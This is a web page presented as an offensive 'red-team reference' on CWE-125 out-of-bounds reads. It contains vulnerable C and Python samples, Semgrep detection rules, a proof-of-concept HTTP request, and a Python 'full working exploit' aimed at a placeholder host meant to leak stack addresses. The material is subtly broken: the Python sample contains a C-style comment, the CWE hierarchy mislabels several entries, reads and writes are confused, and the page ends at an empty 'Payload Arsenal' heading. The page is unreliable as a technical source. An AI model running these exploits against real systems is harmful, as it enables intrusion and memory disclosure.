title: "CWE-125: Out-of-bounds Read"
description: "Complete red-team reference for CWE-125 — Out-of-bounds Read. Exploitation techniques, working PoC, payload arsenal, real CVE case studies, and full attack kill chain."
slug: "cwe-125-out-of-bounds-read"
date: "2026-04-06"
category: "cwe"
author: "ZeroDay Research Team"
tier: "🔥 Top Critical"
cwe_id: 125
tags: ["CWE-125", "exploit", "red-team", "vulnerability", "top-critical"]

Tier: 🔥 Top Critical
MITRE Reference: CWE-125

CWE-125: Out-of-Bounds Read - Deep Dive for Offensive Security Professionals

This document provides a comprehensive technical reference for CWE-125 (Out-of-Bounds Read), tailored for senior offensive security researchers, exploit developers, and authorized penetration testers. It assumes a high level of technical proficiency and focuses on practical exploitation techniques, bypasses, and real-world application.

CWE-125 — Quick Reference Card

• One-line definition: A program reads data beyond the allocated buffer boundary, potentially revealing sensitive information or leading to control flow manipulation.
• CVSS impact vectors: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (High impact across all metrics, assuming exploitable for code execution/information disclosure)
• CWE hierarchy:
  • CWE-118: Improper Restriction of Operations within the Bounds of a Memory Buffer
    • CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
      • CWE-125: Out-of-Bounds Read
      • CWE-190: Integer Overflow or Wraparound
      • CWE-122: Memory Allocation with Excessive Size Value
      • CWE-121: Stack-based Buffer Overflow
      • CWE-120: Buffer Copy without Check at Beginning of Buffer
      • CWE-787: Out-of-Bounds Write
• OWASP Top 10 mapping: A05:2021 - Security Misconfiguration (can also fall under A01:2021 - Broken Access Control if the read is unauthorized, or A03:2021 - Injection if data read is used in further commands)
• Exploitation frequency: Extremely high. A foundational vulnerability class responsible for countless exploits. CISA KEV lists numerous vulnerabilities involving out-of-bounds reads and writes.
• Affected targets: C, C++, Rust, Go, Python (via C extensions), PHP (via C extensions), Java (via JNI), JavaScript (via native modules), firmware, operating system kernels, network services, embedded devices. Any language with manual memory management or unsafe native interfaces.

Root Cause Analysis

CWE-125, Out-of-Bounds Read, fundamentally stems from a failure in a program to adequately validate the boundaries of memory accesses. When a program attempts to read data from a memory location that is outside the allocated buffer's allocated size, it results in an out-of-bounds read. This can occur in several ways:

1. Incorrect Indexing/Offset Calculation: A loop or an array access uses an index or offset that is calculated incorrectly, leading it to point beyond the end of the buffer.
2. Unbounded Input Consumption: When reading data from an external source (user input, network packet, file), the program does not limit the amount of data read to the size of the destination buffer, or it uses a size that is not validated against the buffer's actual capacity.
3. Off-by-One Errors: Subtle errors where a loop iterates one element too many, or a size calculation is off by a single byte.
4. Data Structure Inconsistencies: Reading from a data structure where a length field or offset field is malformed or untrusted, and the program relies on this field without proper validation.
5. Pointer Arithmetic Errors: Incorrect manipulation of pointers that results in dereferencing a pointer outside its intended scope.

Why this weakness persists in modern software:
Despite decades of awareness, CWE-125 remains prevalent due to:

• Complexity of Memory Management: Languages like C/C++ require manual memory management, making it easy to introduce subtle bugs. Even in managed languages, native code interfaces (JNI, FFI, etc.) can expose these vulnerabilities.
• Performance Overheads: Strict boundary checks can sometimes incur performance penalties. Developers may opt for less safe, faster implementations, especially in performance-critical code.
• Legacy Codebases: Large, old codebases are often maintained by developers who may not be fully aware of modern secure coding practices, or who prioritize feature delivery over security.
• Developer Education Gap: Not all developers receive adequate training on secure coding principles, particularly regarding memory safety.
• Tooling Limitations: While SAST tools are improving, they can still miss complex out-of-bounds read scenarios, especially those involving intricate data flow analysis or dynamic behavior.

Common programmer mistakes that introduce it:

• strcpy, strcat, sprintf in C/C++: These functions do not perform bounds checking and can easily lead to overflows/reads if the source string exceeds the destination buffer size.
• gets in C/C++: This function is inherently unsafe as it reads until a newline or EOF without any buffer size limit. It is deprecated and should never be used.
• Incorrect memcpy, memmove size arguments: If the size argument passed to these functions is larger than the destination buffer, or larger than the actual data available, it can lead to out-of-bounds reads.
• Loop termination conditions: For example, for (i = 0; i <= size; i++) when size represents the last valid index, leading to i being one past the end.
• Reading length fields from untrusted sources: Assuming a length field in a network packet or file format is always valid and using it to allocate or read memory without validation.

Vulnerable Code Snippets:

C/C++ Example:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Vulnerable function to process user-provided data
void process_user_data(const char* data, size_t data_len) {
    char buffer[64]; // Fixed-size buffer on the stack

    // Mistake: Using memcpy without ensuring data_len is within buffer bounds.
    // If data_len is > 63 (to account for null terminator), this can read past buffer.
    // Even if data_len <= 63, if the data itself is malformed and data_len
    // is smaller than the actual useful data, a subsequent read might be OOB.
    // For CWE-125, we focus on the read past boundary.
    memcpy(buffer, data, data_len); // Vulnerable line

    // This example is simplified. A more realistic CWE-125 might involve
    // reading a length from 'data' itself, then using that length to read more.
    // Or, using data_len to index into another structure.
    // Here, we simulate an OOB read by reading past the initial memcpy.
    // Let's assume a subsequent operation tries to read more data based on data_len.

    // Simulate a secondary read operation that might go out of bounds
    // if data_len is not carefully controlled.
    // For demonstration, let's assume we read a null-terminated string.
    // If data_len is exactly 64, and data does not contain a null terminator within 64 bytes,
    // the next read could be OOB.
    // To trigger a clear OOB read *from the buffer*, we'll use a loop.

    printf("Processing buffer content:\n");
    // Vulnerable loop: reads up to data_len + 1 elements, potentially past buffer end.
    for (size_t i = 0; i <= data_len; ++i) { // Vulnerable line: i <= data_len
        // If data_len is 63, i goes up to 63. buffer[63] is fine (last byte).
        // If data_len is 64, i goes up to 64. buffer[64] is OOB.
        // If data_len is > 64, the memcpy itself might have read OOB,
        // and this loop will definitely read OOB.
        if (buffer[i] == '\0') { // Null termination check
            printf("Found null terminator at index %zu\n", i);
            break;
        }
        printf("  Byte %zu: %c (0x%02x)\n", i, buffer[i], buffer[i]);
    }
    printf("Finished processing.\n");
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <data>\n", argv[0]);
        return 1;
    }
    // User provides data as a command-line argument.
    // The length is determined by strlen, which is unsafe if data is not null-terminated.
    // For this example, we'll assume argv[1] is a string.
    process_user_data(argv[1], strlen(argv[1]));
    return 0;
}

Python Example (via C extension or unsafe interaction):

While Python's managed memory typically prevents direct OOB reads, vulnerabilities often arise in C extensions or when interacting with external C libraries.

import ctypes

# Simulate a vulnerable C function exposed via ctypes
# This function uses a fixed-size buffer and memcpy without bounds checking.
# It's designed to mimic the C example's vulnerability.

VULN_LIB = ctypes.CDLL(None) # Load system libraries to find a dummy function

# Define the vulnerable function signature (simplified for demonstration)
# Let's assume we have a hypothetical 'vulnerable_read_func' that takes a buffer,
# and a data pointer and length.
# In a real scenario, this would be a specific library function.
# For illustration, we'll create a Python wrapper that simulates the C vulnerability.

class VulnerableBuffer(ctypes.Structure):
    _fields_ = [("data", ctypes.c_char * 64)] # Fixed-size buffer

def simulate_vulnerable_read(input_data: bytes):
    buffer = VulnerableBuffer()
    input_len = len(input_data)

    # Simulate the vulnerable memcpy from the C example
    # This is where the OOB read can occur if input_len > 64
    # We are not directly doing an OOB read HERE, but setting up the state.
    # The OOB read happens in the *subsequent* access.
    ctypes.memmove(buffer.data, input_data, input_len)

    print(f"Buffer contents after initial copy (len={input_len}):")
    # Simulate the vulnerable loop from the C example
    # This loop attempts to read up to input_len + 1 bytes.
    # If input_len is 63, it reads up to buffer.data[63].
    // If input_len is 64, it attempts to read buffer.data[64], which is OOB.
    for i in range(input_len + 1): # Vulnerable line: range(input_len + 1)
        try:
            byte_val = buffer.data[i]
            if byte_val == 0:
                print(f"  Found null terminator at index {i}")
                break
            print(f"  Byte {i}: {chr(byte_val)} (0x{byte_val:02x})")
        except IndexError:
            # This is the actual Python-level exception indicating OOB access.
            # In C, this would be undefined behavior / crash / data leak.
            print(f"  !!! Attempted to access buffer.data[{i}] - IndexError !!!")
            print(f"  !!! This is an Out-of-Bounds Read !!!")
            break

# Example usage:
print("--- Testing with input shorter than buffer ---")
short_input = b"Hello, World!"
simulate_vulnerable_read(short_input)

print("\n--- Testing with input exactly buffer size (potential for OOB read in loop) ---")
# If the loop reads up to len + 1, and len is 64, it will try to read index 64.
# The memcpy itself is fine if input_len <= 64.
exact_input = b"A" * 64
simulate_vulnerable_read(exact_input)

print("\n--- Testing with input longer than buffer (OOB read during memcpy) ---")
# This will trigger an OOB read during the ctypes.memmove call itself
# if the underlying C library doesn't protect against it,
# or if the loop attempts to read further.
long_input = b"B" * 70
simulate_vulnerable_read(long_input)

Architecture & Vulnerability Anatomy Diagram

This diagram illustrates the memory layout and data flow for a typical out-of-bounds read vulnerability in a C/C++ application.

+---------------------------------------------------+
|                     Process Memory                |
+---------------------------------------------------+
| ...                                               |
|                                                   |
|     +-----------------------+                     |
|     |      Heap             |                     |
|     | +-------------------+ |                     |
|     | | Allocated Data    | |                     |
|     | | (e.g., malloc'd)  | |                     |
|     | +-------------------+ |                     |
|     |                       |                     |
|     +-----------------------+                     |
|                                                   |
|     +-----------------------+                     |
|     |  Stack                |                     |
|     | +-------------------+ |                     |
|     | | Function Args     | |                     |
|     | |                   | |                     |
|     | | saved RIP         | |                     |
|     | | saved RBP         | |                     |
|     | +-------------------+ |                     |
|     | | Local Variables   | |                     |
|     | |                   | |                     |
|     | | char buffer[64];  | | <--- Allocated buffer
|     | |                   | |                     |
|     | +-------------------+ |                     |
|     |                       |                     |
|     +-----------------------+                     |
|                                                   |
|     +-----------------------+                     |
|     |  Data Segment (.data) |                     |
|     +-----------------------+                     |
|                                                   |
|     +-----------------------+                     |
|     |  Text Segment (.text) |                     |
|     |  (Program Code)       |                     |
|     +-----------------------+                     |
|                                                   |
| ...                                               |
+---------------------------------------------------+

Attack Flow:

1.  **Attacker Input**: Attacker crafts input data (`attacker_controlled_data`).
    ```
    attacker_controlled_data = b"A" * 70  # Data > buffer size
    ```

2.  **Vulnerable Function Call**: Target application calls a function, e.g., `process_user_data(attacker_controlled_data, len(attacker_controlled_data))`.

3.  **Memory Allocation (Stack)**:
    The `process_user_data` function allocates a local buffer: `char buffer[64];`
    ```
    Stack Frame for process_user_data:
    +----------------------+  <- Higher addresses
    | ...                  |
    | saved RIP            |
    | saved RBP            |
    |----------------------|
    | char buffer[64]      | <--- Target buffer (e.g., at 0x7fffffffe4c0)
    |                      |      (Size: 64 bytes)
    |----------------------|  <- Lower addresses
    ```

4.  **Vulnerable Operation (`memcpy`)**:
    `memcpy(buffer, data, data_len);`
    If `data_len` (e.g., 70) is greater than `sizeof(buffer)` (64), `memcpy` writes beyond `buffer`.

    ```
    Memory Snapshot during memcpy:
    Address: 0x7fffffffe4c0 | buffer[0] ... buffer[63] | <-- Writes here
    Address: 0x7fffffffe500 | buffer[64] ... buffer[69] | <-- Writes BEYOND buffer
    Address: 0x7fffffffe504 | [Potentially other local vars/saved RBP/RIP] | <-- Overwrites adjacent memory
    ```
    The data `b"A" * 70` is copied. The first 64 bytes fill `buffer`. The remaining 6 bytes (`A` * 6) overwrite adjacent memory on the stack.

5.  **Vulnerable Read (`for` loop)**:
    `for (size_t i = 0; i <= data_len; ++i)`
    The loop iterates from `i = 0` up to `data_len` (70).

    *   `i = 0` to `63`: Reads from `buffer[0]` to `buffer[63]`. These are valid reads within the allocated buffer.
    *   `i = 64`: Tries to read `buffer[64]`. This is an **Out-of-Bounds Read**. The value read here is not from the intended `buffer` but from the adjacent memory that was overwritten by the `memcpy`. This overwritten data might be sensitive (e.g., previous function's local variables, return addresses) or garbage.
    *   `i = 65` to `70`: Continues reading out of bounds.

6.  **Impact**:
    *   **Information Disclosure**: If the overwritten memory contains sensitive data (e.g., passwords, keys, other users' data), it can be read and exfiltrated.
    *   **Control Flow Hijack**: If the overwritten memory contains return addresses (`RIP`) or function pointers, an attacker can overwrite them with attacker-controlled addresses, leading to arbitrary code execution. This is more common with Out-of-Bounds *Writes*, but an OOB *Read* can still reveal addresses or data that aid in exploitation. For CWE-125, the direct impact is usually info disclosure. However, revealing addresses (like stack canaries or ASLR-derived base addresses) makes subsequent exploitation easier.

Data Flow for Information Disclosure:

[Attacker] --(HTTP/Network/File Input)--> [Vulnerable Application]
|
| Controlled Data (e.g., large string)
v
[Process Memory]

• Stack Frame
• char buffer[64] <--- Target
• Overwritten Adjacent Memory <--- Where OOB Read occurs
  |
  | Reads data from adjacent memory
  v
  [Attacker-controlled Output] --> [Attacker]

---

## Exploitation Techniques — Full Red-Team Breakdown

### Step 1: Discovery & Reconnaissance

Identifying CWE-125 requires understanding input handling and memory access patterns.

*   **Manual Testing**:
    *   **Fuzzing**: Provide large inputs, malformed inputs, inputs with unusual length fields, or inputs designed to probe boundaries. Tools like `radamsa`, `afl++`, `honggfuzz` are essential.
    *   **Boundary Value Analysis**: Test inputs at the exact buffer size, one byte less, one byte more, zero, and very large values.
    *   **Input Validation Inspection**: Scrutinize how the application handles data lengths, sizes, and offsets. Look for functions like `memcpy`, `memmove`, `read`, `recv`, `fread`, `scanf` variants, and loop constructs that process data without clear size limits.
    *   **Reverse Engineering (Binary Analysis)**: Disassemble the target binary. Look for `memcpy`, `memmove`, `strcpy`, `read`, `recv`, etc., and analyze their arguments. Identify where buffer sizes are defined and how input lengths are determined. Static analysis tools like IDA Pro, Ghidra, Binary Ninja are invaluable.
    *   **Code Review (SAST)**: Analyze source code for common pitfalls:
        *   Use of unsafe C string functions (`strcpy`, `strcat`, `sprintf`).
        *   Incorrect use of `memcpy`/`memmove` with untrusted lengths.
        *   Loops that iterate beyond calculated bounds.
        *   Reading length fields from external sources without validation.
        *   Unsafe file I/O operations.

*   **Automated Scanning (DAST/SAST)**:
    *   **DAST Tools**: Web application scanners (Burp Suite Pro, OWASP ZAP) can sometimes detect OOB reads that manifest as information disclosure (e.g., revealing internal paths, configuration details, or stack traces). However, they are less effective for memory corruption leading to code execution without specific fuzzing profiles.
    *   **SAST Tools**: Tools like Semgrep, CodeQL, SonarQube, Fortify can identify patterns indicative of OOB reads in source code.
        *   **Semgrep Patterns**:
            ```yaml
            rules:
              - id: c-out-of-bounds-read-memcpy
                message: "Potential out-of-bounds read via memcpy with untrusted length."
                languages: [c, cpp]
                pattern: |
                  memcpy($DST, $SRC, $LEN);
                # Further analysis required to check if $LEN is derived from untrusted input
                # and not validated against $DST size.
                # A more precise rule would require data flow analysis.

              - id: c-out-of-bounds-read-loop
                message: "Loop may iterate out of bounds."
                languages: [c, cpp]
                pattern: |
                  for ($INIT; $COND; $UPDATE) {
                    ... $BUFFER[$INDEX] ...
                  }
                # Requires analysis of $INDEX and $BUFFER size relative to loop bounds.

              - id: c-unsafe-read
                message: "Unsafe read function used, potential for OOB read."
                languages: [c]
                pattern: |
                  gets(...);
                # Deprecated and unsafe.

              - id: c-unbounded-read
                message: "Potential unbounded read into fixed-size buffer."
                languages: [c, cpp]
                pattern-either:
                  - |
                    read(..., $BUFFER, sizeof($BUFFER)); # If size argument is not carefully controlled
                  - |
                    recv(..., $BUFFER, sizeof($BUFFER));
                  - |
                    fread(..., $BUFFER); # If size not validated
            ```

### Step 2: Vulnerability Triggering

The goal is to provide input that causes the program to access memory beyond the allocated buffer.

*   **Conditions Required**:
    *   A buffer of a fixed size is allocated.
    *   Input data is read into this buffer or used to index into it.
    *   The amount of data read, or the index/offset used, is not strictly validated against the buffer's bounds.
    *   The program subsequently attempts to read from the buffer at an invalid offset.

*   **Test Cases / Proof-of-Concept Payload**:

    **Scenario**: A web server processes a user-provided `filename` parameter. It allocates a buffer for the filename and then uses that buffer in a subsequent operation that might read past its end.

    **Target Code (Conceptual)**:
    ```c
    // Simplified pseudocode for a web server handler
    char filename_buffer[256];
    size_t filename_len = get_param_length("filename"); // Assume this returns length of 'filename' GET param

    // Vulnerable copy
    memcpy(filename_buffer, get_param_value("filename"), filename_len); // If filename_len > 255

    // Vulnerable read in a subsequent operation
    // Assume some function needs to read the null-terminated string,
    // but if filename_len == 256 and no null terminator was in input,
    // this read could go OOB.
    char first_char_after_buffer = filename_buffer[filename_len]; // Potential OOB read if filename_len == 256
    ```

    **Proof-of-Concept HTTP Request**:

    ```http
    GET /process_file?filename=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
    Host: vulnerable.example.com
    User-Agent: Mozilla/5.0

    // Payload: 256 'A' characters.
    // If filename_len is 256, the memcpy fills filename_buffer exactly.
    // The subsequent read of filename_buffer[256] would be OOB.
    ```

    **Expected Outcome**:
    *   The server might crash with a segmentation fault (SIGSEGV).
    *   If the OOB read exposes sensitive data (e.g., heap addresses, stack contents), it might be returned in an error message or a malformed response.

### Step 3: Full Working Exploit

This exploit targets a hypothetical web service that is vulnerable to CWE-125. The service reads a `data` parameter, copies it into a fixed-size buffer, and then attempts to read a character *after* the copied data, assuming it's null-terminated. If the input is exactly the buffer size and not null-terminated, it leads to an OOB read. The OOB read reveals a pointer on the stack, which we then use to reveal more information.

**Vulnerability Scenario**: A web application reads a `config_key` parameter. It copies this key into a 64-byte buffer. It then attempts to read the byte at `buffer[64]` to check for a terminator, assuming the key is always null-terminated within the buffer. If the input `config_key` is exactly 64 bytes long, `buffer[64]` will read past the allocated buffer. We'll craft an input that causes this OOB read, hoping to leak a stack address.

**Exploit Script (Python using `requests` and `pwntools`)**:

```python
#!/usr/bin/env python3

import requests
from pwn import * # Import pwntools for context and potential future use

# --- Configuration ---
TARGET_URL = "http://vulnerable.example.com/api/get_config" # Replace with actual target URL
BUFFER_SIZE = 64
# We will send a payload of BUFFER_SIZE bytes.
# The vulnerable read is at index BUFFER_SIZE.
# We aim to leak a stack address.

# --- Payload Generation ---
# Craft a payload that is exactly BUFFER_SIZE bytes long.
# This will fill the buffer completely.
payload_data = b"A" * BUFFER_SIZE

# The vulnerable read is at index BUFFER_SIZE.
# We hope to read a stack address or other useful data from memory.
# For this example, let's assume reading buffer[BUFFER_SIZE] reveals an address.

# --- Exploitation Function ---
def exploit_oob_read(target_url, payload):
    print(f"[*] Attempting to trigger OOB read at: {target_url}")
    print(f"[*] Payload size: {len(payload)} bytes")

    try:
        # Send the request with the crafted payload
        response = requests.get(target_url, params={"config_key": payload})

        if response.status_code == 200:
            print("[+] Request successful.")
            # The OOB read might be reflected in the response body,
            # or it might cause a crash that we can't capture here directly.
            # For demonstration, let's assume the response *might* contain
            # the leaked data if the server is configured to return it.
            # In a real scenario, we'd parse the response for leaked info.

            # Example: If the server returns the content of the read byte,
            # or a related string that includes it.
            # Let's assume the response contains a string indicating success/failure.
            # We'll look for patterns or just print the raw response.
            print("[*] Raw response body:")
            print(response.text)

            # More sophisticated analysis would involve parsing response.text
            # for leaked addresses or sensitive data.
            # For example, if the response looked like:
            # "Config value for key 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': SUCCESS"
            # and the 'A's were actually leaked stack addresses, we'd parse those.

            # --- Simulated Leakage Analysis ---
            # If the OOB read at buffer[64] read a value that was then
            # incorporated into the response, we'd try to extract it.
            # For this example, let's assume the vulnerability is in a C backend
            # and the OOB read of buffer[64] might reveal something like:
            # 0x7fffffffe4c0 + 64 = 0x7fffffffe500 (an address)
            # If this address is then printed in the response, we'd parse it.

            # Let's simulate finding a potential address in the response.
            # This is highly dependent on the actual application's behavior.
            leaked_info = response.text # Assume the whole response might contain leak
            print("\n[*] Analyzing response for potential leaked information...")

            # Example: Simple pattern matching for hex addresses
            hex_pattern = r"0x[0-9a-fA-F]{12,16}" # Common address format
            potential_addresses = re.findall(hex_pattern, leaked_info)

            if potential_addresses:
                print(f"[+] Found potential leaked addresses: {potential_addresses}")
                # In a real exploit, you'd use these addresses for ASLR bypass, ROP, etc.
                # For now, we just report them.
                # Example: If we found 0x7fffffffe500
                # We can use this to calculate offsets for further exploitation.
            else:
                print("[-] No obvious leaked addresses found in the response.")

        elif response.status_code == 500:
            print("[!] Received Internal Server Error (500). This might indicate a crash due to OOB read.")
            print("[*] Raw response body:")
            print(response.text)
        else:
            print(f"[!] Received unexpected status code: {response.status_code}")
            print("[*] Raw response body:")
            print(response.text)

    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred: {e}")
    except Exception as e:
        print(f"[-] An unexpected error occurred: {e}")

# --- Main Execution ---
if __name__ == "__main__":
    # Ensure you have 'requests' and 'pwntools' installed:
    # pip install requests pwntools

    # IMPORTANT: Replace with your actual target URL and adjust payload if needed.
    # This script assumes the vulnerability is reflected in the response body or causes a 500.
    # In some cases, an OOB read might not be directly visible in the response,
    # and you'd need to observe crashes, memory dumps, or side-channel information.

    exploit_oob_read(TARGET_URL, payload_data)

To Run This Exploit:

1. Install requests and pwntools: pip install requests pwntools
2. Replace http://vulnerable.example.com/api/get_config with the actual target URL.
3. Ensure the target application is running and accessible.
4. Execute the script: python exploit_cwe125.py

Expected Output (if vulnerable and exploitable for info disclosure):

[*] Attempting to trigger OOB read at: http://vulnerable.example.com/api/get_config
[*] Payload size: 64 bytes
[+] Request successful.
[*] Raw response body:
Config for key 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': Value=... (potentially including leaked memory addresses or sensitive data)

[*] Analyzing response for potential leaked information...
[+] Found potential leaked addresses: ['0x7fffffffe500']

(Note: The exact response and leaked address will vary greatly based on the target application and its environment.)

Step 4: Escalation & Impact

The impact of an out-of-bounds read depends heavily on what data is read and how it's used.

• Information Disclosure: This is the most direct impact.

  • Memory Addresses: Leaking stack addresses, heap addresses, or executable base addresses can defeat or significantly weaken ASLR (Address Space Layout Randomization), making control-flow hijacking attacks much easier.
  • Sensitive Data: Reading data from adjacent memory regions can expose passwords, API keys, session tokens, personal information, configuration details, or other confidential data.
  • Internal State: Revealing internal application state, debugging information, or configuration parameters can provide attackers with valuable intelligence for further attacks.

• Denial of Service (DoS):

  • A crash caused by accessing invalid memory (e.g., null pointer dereference after an OOB read) can bring down the service.

• Enabling Further Exploitation (Indirect Control Flow Hijack):
  While CWE-125 is a read, the information it leaks is critical.

  • ASLR Bypass: Leaked stack/heap addresses allow an attacker to precisely calculate addresses needed for ROP (Return-Oriented Programming) chains or other memory corruption exploits.
  • Stack Canary Bypass: Leaking stack canary values from adjacent stack frames can allow an attacker to bypass stack protection mechanisms.
  • Information Gathering for Buffer Overflows: If an OOB read reveals the size of a nearby buffer or the location of critical data structures, it can inform the development of a subsequent buffer overflow exploit.

• Privilege Escalation Paths:
  If the vulnerable service runs with elevated privileges (e.g., root or SYSTEM), any information disclosure or DoS directly impacts the system's security. If the leaked information can be used to achieve arbitrary code execution on a privileged process, it leads to full system compromise.

Step 5: Tool Arsenal

• Fuzzing:

  • afl++: Advanced Fuzzing Engine. afl-fuzz -i in/ -o out/ -- ./your_target_binary @@
  • honggfuzz: Another powerful fuzzer.
  • radamsa: General-purpose data fuzzer. echo "some_input" | radamsa > mutated_input

• Web Exploitation:

  • Burp Suite Pro:
    • Intruder: For fuzzing parameters with large or malformed inputs.
    • Scanner: Can sometimes identify information disclosure vulnerabilities.
    • Extender API: Custom extensions for targeted fuzzing.
  • requests library (Python): For crafting and sending HTTP requests programmatically.
  • pwntools library (Python): Essential for exploit development, especially for binary exploitation. from pwn import * provides functions for packing/unpacking data, remote connections, process interaction, ROP chain generation, etc.

• Binary Analysis & Exploitation:

  • IDA Pro / Ghidra / Binary Ninja: For static and dynamic analysis of binaries to identify vulnerable functions and code paths.
  • GDB (GNU Debugger): For debugging crashes and inspecting memory.
  • Valgrind (Memcheck): Can detect memory errors, including out-of-bounds reads, during dynamic analysis.
  • Metasploit Framework: Contains modules for various vulnerabilities. Search for CVEs related to OOB reads. msfconsole -> search cve:125 or specific CVE IDs.

• Custom Scripts:

  • Python scripts using requests for web targets.
  • Python scripts using pwntools for network services or local binaries.
  • C/C++ programs for direct interaction with local binaries or network services.

Example pwntools command for connecting to a network service:

python
from pwn import *
r = remote('vulnerable.example.com', 12345) # Connect to host:port
print(r.recvline()) # Receive data
r.sendline(b'some_command') # Send data
print(r.recvall()) # Receive all remaining data
r.interactive() # Spawn an interactive shell

Payload Arsenal